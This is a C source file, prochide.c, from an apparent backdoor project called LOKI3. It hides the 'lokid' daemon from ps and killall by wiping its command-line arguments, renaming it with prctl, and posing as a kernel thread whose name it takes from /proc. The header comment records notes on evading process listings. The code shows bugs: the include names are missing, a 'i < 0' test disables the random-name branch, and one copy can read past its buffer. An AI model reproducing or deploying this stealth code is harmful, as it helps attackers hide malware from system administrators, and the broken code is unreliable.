/* * LOKI3 * * [ prochide.c ] * * 2019 and beyond Elective Surgery [dmfr] * * Observations: * - On Linux, prctl() will not change the output of `ps` * - `killall lokid won't work against './lokid' after prctl(), * however it will work against whatever name you set with prctl(). * - argv[] needs to be overwritten to hide from `ps` * - /proc/PID/cmdline will still be './lokid' after argv[] and prctl() * - prctl() is not portable * - zeroing out argv[0] on Linux makes ps show a blank process * - invoking lokid with full path gives more room to play with argv[0] */ #include #include #include #include #include #include #ifdef LINUX #include #endif /* LINUX */ #include "loki.h" #include "prochide.h" #define DEFAULT_PROCNAME "atd" /* Default to a small name */ struct thread_names { char name[PATH_MAX]; int max; }; bool string_is_number(const char *str) { return (strspn(str, "0123456789") == strlen(str)) ? true : false; } bool prochide(int argc, char *argv[]) { int i; size_t len; char progname[PATH_MAX]; DIR *dirp; struct dirent *de; struct thread_names tnames[10]; /* Zero out thread names array */ for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) { memset(tnames[i].name, 0, sizeof(tnames[i].name)); tnames[i].max = 0; } srand(time(NULL)); /* TODO This is not working on Solaris */ snprintf(progname, sizeof(progname), "%s", DEFAULT_PROCNAME); len = strlen(argv[0]); /* Find a random, suitable kernel thread name to mimick. */ dirp = opendir("/proc"); if (dirp != NULL) { /* /proc exists */ while ((de = readdir(dirp)) != NULL) { if (de->d_type == DT_DIR && string_is_number(de->d_name)) { FILE *fp; char buf[PATH_MAX] = {0}; char commfile[PATH_MAX] = {0}; /* Read contents of /proc/PID/comm into buf */ snprintf(commfile, sizeof(commfile) - 1, "/proc/%s/comm", de->d_name); if ((fp = fopen(commfile, "r")) != NULL) { fgets(buf, sizeof(buf), fp); fclose(fp); } else { continue; } if (strlen(buf) > (len - 2)) // account for [] continue; /* Determine if current process's name is suitable */ char b[PATH_MAX]; char r[PATH_MAX]; int d; /* We want only string/X, not string/X-foo */ if (sscanf(buf, "%[^/]/%d%s\n", b, &d, r) != 2) continue; for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) { /* End of array and string not seen yet */ if (strlen(tnames[i].name) == 0) { memcpy(tnames[i].name, b, strlen(b)); tnames[i].max = d; break; } /* Check if we have already seen this thread name */ if (strcmp(b, tnames[i].name) == 0) { if (d > tnames[i].max) tnames[i].max = d; break; } } } } closedir(dirp); /* Determine number of entries in tnames */ for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) { if (tnames[i].max == 0) break; } /* Use random tname member */ if (i < 0) { int r = rand() % i; snprintf(progname, sizeof(progname), "[%s/%d]", tnames[r].name, tnames[r].max + 1); } } memset(argv[0], 0, len); memcpy(argv[0], progname, len); /* Zero out remaining command line arguments */ for (i = 1; i < argc; i++) { memset(argv[i], 0, strlen(argv[i])); } #ifdef LINUX prctl(PR_SET_NAME, progname, 0, 0, 0); #endif /* LINUX */ return true; } /* EOF */